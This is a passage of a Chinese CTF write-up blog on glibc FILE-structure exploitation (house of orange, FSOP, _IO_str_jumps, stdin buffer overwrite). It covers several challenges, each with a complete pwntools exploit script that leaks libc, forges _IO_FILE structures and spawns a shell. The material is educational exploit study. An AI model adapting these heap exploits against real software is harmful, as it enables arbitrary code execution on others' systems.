随后分配unsortedbin chunk时，由于 unsortedbin attack _IO_list_all 的 地址会被改为 main_arena+88的地址；相当于如果 遍历 _IO_FILE 时 从 _IO_list_all 开始会直接遍历到 main_arena+88 开始的地址。

image-20200930125613112

  1. 由于当从unsortedbin 中找到的块不符合申请的大小时，会将当前unsortedbin chunk放入对应大小的 smallbin 中，而 0x60 的大小将会放到 small_bin0x60处，也就相当于会将 当前的 unsortedbin chunk 的地址存储在 smallbin 0x60 处，如上图所示。而系统将 main_arena+88 开始处的地址当作了 一个 _IO_FILE 处理，所以会将其 smalbin0x60 处的值在 _IO_FILE 中也存在一个作用，即是 _IO_FILE 中 chains 的位置，系统会根据它 继续向下遍历找到下一个 _IO_FILE 结构，如下图所示，此时从 main_arena+88 开始的 _IO_FILE 的 chain 是 unsortedbin chunk 地址。

image-20200930125943627

  1. 那么系统将会继续向下遍历 unsortedbin chunk 这个地址的 _IO_FILE struct，而在 unsortedbin chunk中，满足 _IO_OVERFLOW 的执行条件
1
fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base

  1. 由于将摘下来的unsorted bin chunk放到smallbin[0x60]中

    img

最后，由于unsortedbin attack破坏了unsorted bin的链表结构。此时，victim=_IO_list_all-0x10，victim->size=0，满足__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)，所以在大循环中系统调用malloc_printerr去打印错误信息。

所以，此时会去执行 vatble 指向的 _IO_jump_t 虚表里的 _io_overflow 函数，而该函数被我们修改为了 gadget 地址，即可 getshell。

image-20200930130250938

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#glibc-2.23
from pwn import *
context.update(arch='amd64',os='linux',log_level='debug')

debug = 1
main_arena_offset = 0x3c4b20

if debug:
    p = process('./houseoforange')
    elf = ELF('./houseoforange')
    libc = ELF('./libc.so.6')
else:
    libc = ELF('./libc-2.23.so')

def build(nameLen, name, price, color):
    p.recvuntil("Your choice : ")
    p.sendline("1")
    p.recvuntil("Length of name :")
    p.sendline(str(nameLen))
    p.recvuntil("Name :")
    p.send(name)
    p.recvuntil("Price of Orange:")
    p.sendline(str(price))
    p.recvuntil("Color of Orange:")
    p.sendline(str(color))

def see():
    p.recvuntil("Your choice : ")
    p.sendline("2")

def upgrade(nameLen, name, price, color, flag):
    if flag == 1:
        p.recvuntil("Your choice : ")
    p.sendline("3")
    p.recvuntil("Length of name :")
    p.sendline(str(nameLen))
    p.recvuntil("Name:")
    p.send(name)
    p.recvuntil("Price of Orange:")
    p.sendline(str(price))
    p.recvuntil("Color of Orange:")
    p.sendline(str(color))

def pwn():
    #edit top chunk size 
    build(0x10, 'a'*0x10, 1, 1)
    payload = 'a'*0x10 + p64(0x0) + p64(0x21) + p64(0x0) + p64(0)+ p64(0) + p64(0xfa1)
    upgrade(0x40, payload, 1, 1, 1)
    #extented top chunk
    build(0x1000, 'b'*0x10, 1, 1)
    #leak libc_addr
    build(0x400, 'c'*0x8, 1, 1)

    see()
    p.recvuntil('cccccccc')
    addr1 = u64(p.recvuntil('\n')[:-1].ljust(8, '\x00'))
    main_arena_addr = addr1 - 1640
    libc_base = main_arena_addr - main_arena_offset
    print 'large_bin:',hex(addr1),'main_arena_addr:',hex(main_arena_addr),'libc_base:',hex(libc_base)
    system_addr = libc_base +libc.symbols['system']
    IO_list_all = libc_base + libc.symbols['_IO_list_all']
    print 'system_addr:',hex(system_addr),'_IO_list_all:',hex(IO_list_all)

    #gdb.attach(p)
    upgrade(0x400, 'd'*0x10, 1, 1, 1)
    see()
    p.recvuntil('dddddddddddddddd')
    heap_addr = u64(p.recvuntil('\n')[:-1].ljust(8, '\x00'))
    print 'heap_addr:',hex(heap_addr)

    #fake file_struct
    payload = 'a'*0x400
    payload += p64(0) + p64(0x21) + p64(0x1) + p64(0)

    fake_file = '/bin/sh\x00' + p64(0x61)
    fake_file += p64(0) + p64(IO_list_all-0x10)
    fake_file += p64(0) + p64(1)
    fake_file += p64(0) * 18
    fake_file += p64(0)
    fake_file += p64(0) * 2
    fake_file += p64(heap_addr + 0x510)

    payload += fake_file
    payload += p64(0) * 3
    payload += p64(system_addr)

    upgrade(0x800, payload, 1,1, 1)

    p.recvuntil("Your choice : ")
    p.sendline("1")
    p.interactive()

pwn()

WCTF 2017 wannaheap

未找到 二进制文件，后续补一下。

Tokoy Western CTF 2017 Parrot

程序分析

image-20200830100418628

这题看着代码结构挺简单的，但是简单题却挺难的。

代码漏洞在 处理输入最后一位为0时，如果buf =0，而size 我们输入一个 较长的地址，那么就可以直接对 size+1 的地址写为0。

这道题将所有的保护都开了，我们首先需要leak libc 地址，然后需要通过 io 攻击改写 free_hook的方法来 getshell。

漏洞利用

leak 地址

这道题地址 泄露需要说一下，不同于上一题是申请了一个 large bin chunk来泄露 libc 和堆地址。这题是通过先申请 几个fast bin chunk，然后再申请一个大的 small bin，这样再 free 掉 small bin 时就会 将 fast bin 进行堆合并，并放到 unsortedbin 中。并且由于与 top chunk 相邻，所以最终会被放入 top chunk中。但是 该unsortedbin 的 fd 和bk 指针仍然保存了 main_arena+88 的地址，我们再申请一个 small chunk，该地址不会被清空，我们就可以将其输出。

getsgell

这道题的关键在于 修改 stdin 结构的 IO_buf_base 和 _IO_buf_end，修改 _IO_buf_base 的最后一字节 为 00，这样就可以将 stdin 输入指针向上移。我们能够覆盖 _IO_stdin ， 然后将 _IO_buf_base 修改为 free_hook 为 one_gadget 地址，实现getshell。

image-20201016151624157

将 _IO_buf_base的最低位设为 \x00。

image-20201016151850228

通过scanf函数读入数据，将 _IO_buf_base``和_IO_buf_end覆盖了。但是由于 scanf只会读取一个int类型的数据，所以输入缓冲区 _IO_read_ptr和 _IO_read_end之间的输入缓冲区会有我们之前输入的数据，所以我们需要先把这个输入缓冲区清空，也就是 _IO_read_ptr和 _IO_read_end的地址相等才能够重新读取我们输入的数据。而程序中有 getchar函数，可以直接读取一个字符，我们循环 0x57来消耗输入缓冲区。

当 _IO_read_ptr和 _IO_read_end的地址相等时，scanf函数会重新读取用户输入的数据到 _IO_buf_base指向的地址，如下图所示，成功覆盖了 __free_hook为One_gadget地址。

image-20201016152646657

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#from pwnpwnpwn import *
from pwn import *
context.update(arch='amd64',os='linux',log_level='debug')
host = "./tw2017parrot"
#port = 31337

# Overwrite _IO_buf_base with null byte in the stdin structure
# You will have a stdin buffer in stdin structure
# It's can control the stdin buffer then you can write to arbitrary memory 

#r = remote(host,port)
r = process(host)
def alloc(size,data):
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(data)

gdb.attach(r)

alloc(32,"D")
alloc(48,"D")
alloc(128,"g")
alloc(128,"d")
r.recvuntil("d\n")
libc = u64(r.recvuntil("\n")[6:6+8]) - 0x3c4b78
print  "libc:",hex(libc)
io_buf_base = libc + 0x3c4918
print 'io_buf:',hex(io_buf_base)
alloc(io_buf_base+1,"") 
r.recvuntil(":")
free_hook = libc + 0x3c67a8
print 'free_hook:',hex(free_hook)
r.send("1".ljust(0x18,"\x00") + p64(free_hook) + p64(free_hook+0x40) + p64(0)*6)
#gdb.attach(r)
for i in range(0x57):
    print i
    r.recvuntil("er:")
    r.sendline("")
#gdb.attach(r)
r.recvuntil(":")
magic = libc + 0x4526a
r.sendline(p64(magic))
r.interactive()

Hacklu 2018 heap hell 2

程序分析

程序首先根据输入的地址，mmap 了一块堆内存，如果没有输入地址的话，会使用默认地址。

image-20200830182732294

程序漏洞在 读取用户输入时，根据用户输入的 offset 来找到在上面mmap 出来的内存的开始写入位置，根据输入的size 来判断读取的输入长度。

这里如果，我们能够设置 初始化地址为address 0x10000，然后设置 size 为 0x20000，因为 address+0x10000-size为0，但是此时为unsigned, 就会为一个极大值。 所以我们就可以通过设置 offset，来实现对任意地址写入。

image-20200830193538160

漏洞利用

本题也开启了所有保护，所以首先需要先泄露地址，然后再去 getshell。

泄露地址

泄露地址，其实原理还是利用上面的 free unsortedbin chunk的特性，会在当前 unsortedbin chunk的 fd 和 bk处写下当前的 chunk 地址，而如果是首次的 unsortedbin 则会在 fd 或者 bk 处写下 main_arena 地址。然后我们直接读取该 地址的 fd 或者 bk指针即可获得 libc 地址。

getshell

这道题由于是 glibc-2.28 的环境，所以上面两种修改 vtable 的方式就不行了，因为增加了 check vtable。我们就需要使用 新的 _IO_str_jumps 来攻击。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *
context.update(arch='amd64',os='linux',log_level='debug')

r = process('./heap_hell')
#r = remote('arcade.fluxfingers.net', 1810)

def write(offset, size, data, pad = 0):
    if pad == 0:
        pad = size
    r.sendafter('exit\n', '1\n')
    r.sendafter('How much do you want to write?\n', str(size) + '\n')
    r.sendafter('At which offset?\n', str(offset) + '\n')
    r.send(data.ljust(pad, '\x00'))

def free(offset):
    r.sendafter('exit\n', '2\n')
    r.sendafter('At which offset do you want to free?\n', str(offset) + '\n')

def leak(offset):
    r.sendafter('exit\n', '3\n')
    r.sendafter('At which offset do you want to leak?\n', str(offset) + '\n')
    return r.recvuntil('\nPlease select your action:').split('\nPlease select your action:')[0]

r.send(str(0x10000) + '\n')

#leak libc address
write(0, 0x600, p64(0x0) + p64(0x501) + '\x00'*0x4f8 + p64(0x21) + '\x00'*0x18 + p64(0x21))
free(0x10)
libc = (u64(leak(0x11)[:5].ljust(8, '\x00')) << 8) - 0x1beb00 
log.success('Libc @ ' + hex(libc))

#fake file struct
#https://dhavalkapil.com/blogs/FILE-Structure-Exploitation/
def pack_file(_flags = 0,
              _IO_read_ptr = 0,
              _IO_read_end = 0,
              _IO_read_base = 0,
              _IO_write_base = 0,
              _IO_write_ptr = 0,
              _IO_write_end = 0,
              _IO_buf_base = 0,
              _IO_buf_end = 0,
              _IO_save_base = 0,
              _IO_backup_base = 0,
              _IO_save_end = 0,
              _IO_marker = 0,
              _IO_chain = 0,
              _fileno = 0,
              _lock = 0):
    struct = p32(_flags) + \
             p32(0) + \
             p64(_IO_read_ptr) + \
             p64(_IO_read_end) + \
             p64(_IO_read_base) + \
             p64(_IO_write_base) + \
             p64(_IO_write_ptr) + \
             p64(_IO_write_end) + \
             p64(_IO_buf_base) + \
             p64(_IO_buf_end) + \
             p64(_IO_save_base) + \
             p64(_IO_backup_base) + \
             p64(_IO_save_end) + \
             p64(_IO_marker) + \
             p64(_IO_chain) + \
             p32(_fileno)
    struct = struct.ljust(0x88, "\x00")
    struct += p64(_lock)
    struct = struct.ljust(0xd8, "\x00")
    return struct

io_str_overflow_ptr_addr = libc + 0x1bb1d8

fake_vtable_addr = io_str_overflow_ptr_addr - 0x18

rdi = libc + 0x12cc6 #sh

file_struct = pack_file(
    _IO_buf_base = 0,
    _IO_buf_end = (rdi-100)/2,
    _IO_write_ptr = (rdi-100)/2,
    _IO_write_base = 0,
    _lock = 0x10000 + 0x6000)

file_struct += p64(fake_vtable_addr)
file_struct += p64(0x0)
file_struct += p64(libc + 0x1bf5c0) #address of the stdout file structure

payload = ''
payload += p64(libc + 0x45380) #system
payload += '\x00'*0xb28
payload += file_struct

write(libc + 0x1bea90 - 0x10000, 131073, payload)

r.interactive()

2017 HCTF babyprintf

程序分析

image-20201026134239528

程序很简单是一个格式化字符串漏洞，我们可以实现泄露地址，和修改任意地址。

利用分析

  1. 泄露 libc地址

直接使用格式化字符串漏洞，泄露 libc地址。

  1. getshell

getshell的方法，使用类似 House of orange的方法，不过这里注意 不能在直接使用修改 _IO_file_jumps 里为 system地址，而是采用 _IO_str_jumps里的 overflow方法

修改top chunk size

先修改 top chunk的size，为0xd01，然后申请 0x1000的大块，将 top chunk放入 unsortedbin中。

伪造 _IO_FILE

然后通过堆溢出 修改 top chunk的 0x300之后的 chunk的size 为 0x61，bk 为 io_list_all-0x10。并从 0x300 开始布置 fake _IO_FILE，满足以下要求：

1
2
3
_IO_write_ptr>_IO_write_base
_IO_buf_base = bin_sh_addr
vtable = _IO_str_jumps-0x8

并在 fake _IO_FILE后 0xf0 的位置处伪造 system_addr

触发漏洞

随后，我们申请一个堆块 malloc(1)，此时由于 会将 我们伪造的 0x61的 top chunk 放入 small bin中，然后向 bk也就是 _IO_list_all 分配堆块，但是该地址的 size 不会通过检查，此时触发崩溃。

程序执行 _IO_flush_all_lockp，从 main_arena+88开始遍历 FILE结构体，遍历到 我们伪造的 fake _IO_FILE 时发现 参数满足 _IO_OVERFLOW执行条件，会通过 vtable指针指向 的虚表 也就是 _IO_str_jumps-8的第4个函数执行，此时被修改为 _IO_str_finish函数。最终会执行 fp->_s._free_buffer处的函数，也就是 fake _IO_FILE后面紧邻的 system函数，参数是 _IO_buf_base，也就是 bin_sh_addr。

Tips

为了很快速的伪造 FILE 结构体，针对常用的 FILE中会修改的数据和偏移，使用如下函数会很快完成：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
def pack_file(_flags = 0,
              _IO_read_ptr = 0,
              _IO_read_end = 0,
              _IO_read_base = 0,
              _IO_write_base = 0,
              _IO_write_ptr = 0,
              _IO_write_end = 0,
              _IO_buf_base = 0,
              _IO_buf_end = 0,
              _IO_save_base = 0,
              _IO_backup_base = 0,
              _IO_save_end = 0,
              _IO_marker = 0,
              _IO_chain = 0,
              _fileno = 0,
              _lock = 0):
    struct = p32(_flags) + \
             p32(0) + \
             p64(_IO_read_ptr) + \
             p64(_IO_read_end) + \
             p64(_IO_read_base) + \
             p64(_IO_write_base) + \
             p64(_IO_write_ptr) + \
             p64(_IO_write_end) + \
             p64(_IO_buf_base) + \
             p64(_IO_buf_end) + \
             p64(_IO_save_base) + \
             p64(_IO_backup_base) + \
             p64(_IO_save_end) + \
             p64(_IO_marker) + \
             p64(_IO_chain) + \
             p32(_fileno)
    struct = struct.ljust(0x88, "\x00")
    struct += p64(_lock)
    struct = struct.ljust(0xd8, "\x00")
    return struct

在 pack_file后面跟上 vtable 和 fp->_s._free_buffer的值即可。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

p = process("babyprintf")
elf = ELF('./babyprintf')
libc = ELF('./libc.so.6')

def write_one(size, data):
    p.recvuntil("size: ")
    p.sendline(str(size))
    p.recvuntil("string: ")
    p.sendline(data)
    p.recvuntil("result: ")

def pack_file(_flags = 0,
              _IO_read_ptr = 0,
              _IO_read_end = 0,
              _IO_read_base = 0,
              _IO_write_base = 0,
              _IO_write_ptr = 0,
              _IO_write_end = 0,
              _IO_buf_base = 0,
              _IO_buf_end = 0,
              _IO_save_base = 0,
              _IO_backup_base = 0,
              _IO_save_end = 0,
              _IO_marker = 0,
              _IO_chain = 0,
              _fileno = 0,
              _lock = 0):
    struct = p32(_flags) + \
             p32(0) + \
             p64(_IO_read_ptr) + \
             p64(_IO_read_end) + \
             p64(_IO_read_base) + \
             p64(_IO_write_base) + \
             p64(_IO_write_ptr) + \
             p64(_IO_write_end) + \
             p64(_IO_buf_base) + \
             p64(_IO_buf_end) + \
             p64(_IO_save_base) + \
             p64(_IO_backup_base) + \
             p64(_IO_save_end) + \
             p64(_IO_marker) + \
             p64(_IO_chain) + \
             p32(_fileno)
    struct = struct.ljust(0x88, "\x00")
    struct += p64(_lock)
    struct = struct.ljust(0xd8, "\x00")
    return struct

def pwn():
    # pdbg.bp([0x4007f0])
    # step 1 leaking libc address and overwrite top chunk size
    data = "%p%p%p%p%p**%p**"
    data = data.ljust(0x2f8, '*') + p64(0xd01)
    write_one(0x2f0, data)
    p.recvuntil("**")
    libc_base = int(p.recvuntil("**")[:-2], 16) - libc.symbols['__libc_start_main'] - 240
    io_list_all = libc_base + libc.symbols['_IO_list_all']
    io_str_jumps = libc_base + 0x3e8360#libc.symbols['_IO_str_jumps']
    binsh_addr = libc_base + next(libc.search("/bin/sh"))
    system_addr = libc_base + libc.symbols['system']
    log.info("leaking libc base: %s" % hex(libc_base))
    print 'io_list_all:',hex(io_list_all)
    print 'io_str_jumps:',hex(io_str_jumps)
    print 'binsh_addr:',hex(binsh_addr)
    print 'system:',hex(system_addr)

    # step 2 trigger sysmalloc
    write_one(0x1000, 'a')

    fake_file = pack_file(
        _IO_read_ptr=0x61,
        _IO_read_base=io_list_all-0x10,
        _IO_buf_base = binsh_addr,
        _IO_write_ptr = 1)
    fake_file += io_str_jumps - 8

    file_data = str(fake_file) + p64(system_addr) * 2

    # fake_chunk=p64(0)+p64(0x61)+p64(io_list_all-0x10)*2
    payload = 'a' * 0x2f0
    payload += file_data
    ## step 3 overwrite unsorted->bk
    write_one(0x2f0, payload)

    ## step 4 malloc again, trigger unsorted attack and _IO_flush_all_lokcp
    p.recvuntil("size: ")
    p.sendline('1')
    p.interactive()  # get the shell


if __name__ == '__main__':
    pwn()

ASIS2018 fifty-dollars

程序分析

image-20201026202850532

程序漏洞很简单，delete函数中存在一个 UAF 和 double_free漏洞。

利用分析

  1. 泄露 heap地址

由于有输出函数，所以很好泄露heap地址

  1. 泄露 Libc地址

由于程序规定了只能申请 0x50大小的堆块，所以需要通过 double_free来 修改一个 chunk的 size，然后再释放它到 unsortedbin 中去泄露 libc 地址。

  1. getshell

这道题由于一次只能输入 0x50大小的数据，需要多次构造 fake_FILE数据。而且这道题 构造了三次 FILE链。

list_all -> main_arena+88 -> main_arene+184 -> fake_FILE_chunk

getshell方式与上面一致，通过 _IO_str_jumps 走 _IO_str_finish

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

debug = 1
if debug == 1:
    p = process('./ASIS2018-fifty_dollars')
    elf = ELF('./ASIS2018-fifty_dollars')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def alloc(idx, data):
    p.recvuntil("choice:")
    p.sendline("1")
    p.recvuntil("dex:")
    p.sendline(str(idx))
    p.recvuntil("Content:")
    p.send(data)


def delete(idx):
    p.recvuntil("choice:")
    p.sendline("3")
    p.recvuntil("dex:")
    p.sendline(str(idx))


def show(idx):
    p.recvuntil("choice:")
    p.sendline("2")
    p.recvuntil("dex:")
    p.sendline(str(idx))


def arbitrary_write(addr, data):
    delete(3)
    delete(4)
    delete(3)
    pad = p64(0) + p64(0x61)
    alloc(3, p64(addr - 0x10))
    alloc(4, pad * 5)
    alloc(3, pad * 5)
    alloc(0, data)

def pack_file(_flags = 0,
              _IO_read_ptr = 0,
              _IO_read_end = 0,
              _IO_read_base = 0,
              _IO_write_base = 0,
              _IO_write_ptr = 0,
              _IO_write_end = 0,
              _IO_buf_base = 0,
              _IO_buf_end = 0,
              _IO_save_base = 0,
              _IO_backup_base = 0,
              _IO_save_end = 0,
              _IO_marker = 0,
              _IO_chain = 0,
              _fileno = 0,
              _lock = 0,
              vtable = 0):
    struct = p32(_flags) + \
             p32(0) + \
             p64(_IO_read_ptr) + \
             p64(_IO_read_end) + \
             p64(_IO_read_base) + \
             p64(_IO_write_base) + \
             p64(_IO_write_ptr) + \
             p64(_IO_write_end) + \
             p64(_IO_buf_base) + \
             p64(_IO_buf_end) + \
             p64(_IO_save_base) + \
             p64(_IO_backup_base) + \
             p64(_IO_save_end) + \
             p64(_IO_marker) + \
             p64(_IO_chain) + \
             p32(_fileno)
    struct = struct.ljust(0x88, "\x00")
    struct += p64(_lock)
    struct = struct.ljust(0xd8, "\x00")
    struct += p64(vtable)
    return struct


def pwn():
    data = (p64(0) + p64(0x61)) * 5
    for i in range(0, 10):
        alloc(i, data)


    # step 1 leak heap base
    delete(1)
    delete(0)
    show(0)
    heap_base = u64(p.recvuntil("Done!")[:-5].ljust(8, '\x00')) - 0x60
    log.info("leaking heap base: %s" % hex(heap_base))
    data = p64(heap_base + 0x50)

    delete(1)

    alloc(1, data)
    alloc(0, data)
    alloc(1, data)
    ## step 2 build a fake unsorted bin with size of 0xb1 and leak libc address
    fake = p64(0) + p64(0xb1)
    alloc(8, fake)

    delete(1)
    show(1)
    libc_base = u64(p.recvuntil("Done!")[:-5].ljust(8, '\x00')) - 0x10 - 88 - libc.sym['__malloc_hook']
    io_list_all = libc_base + libc.symbols['_IO_list_all']
    binsh_addr = libc_base + next(libc.search("/bin/sh"))
    io_str_jumps = libc_base + 0x3c37a0#libc.symbols['_IO_str_jumps']
    system_addr = libc_base + libc.symbols['system']
    log.info("leaking libc base: %s" % hex(libc_base))

    arbitrary_write(heap_base + 0x240, p64(0) + p64(0xa1))
    delete(6)


    ## step 3 right now there are two unsorted bin in main_arena, so we need to malloc 0xa0 chunk and put 0xb0 chunk to smallbin array
    ### malloc 0x60 from 0xa0 first
    alloc(0, 'a')
    ### revise the left chunk size from 0x40 to 0x60 and malloc it out.
    arbitrary_write(heap_base + 0x2a0, p64(0) + p64(0x61))
    gdb.attach(p, 'bp $rebase(0xc46)')

    ## step 4 prepare to unsoeted bin attack
    delete(7)
    alloc(7, p64(0) + p64(io_list_all - 0x10))
    alloc(7, '0')

    fake_file = pack_file(
        _IO_read_ptr=0xb1,
        _IO_buf_base=binsh_addr,
        _IO_write_ptr=1,
        vtable = io_str_jumps-8
    )
    file_data = str(fake_file) + p64(system_addr)*2

    ## step 5 write fake file
    arbitrary_write(heap_base + 0x60, file_data[:0x50])
    # pdbg.bp([0xada,0xb06])
    arbitrary_write(heap_base + 0x60 + len(str(fake_file)) - 0x10, file_data[-0x20:])
    # pdbg.bp(0xb06)

    ## step 6 trigger FSOP to get shell
    p.recvuntil("choice:")
    p.sendline("1")
    p.recvuntil("Index:")
    p.sendline("1")
    p.interactive()  # get the shell


if __name__ == '__main__':
    pwn()
赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing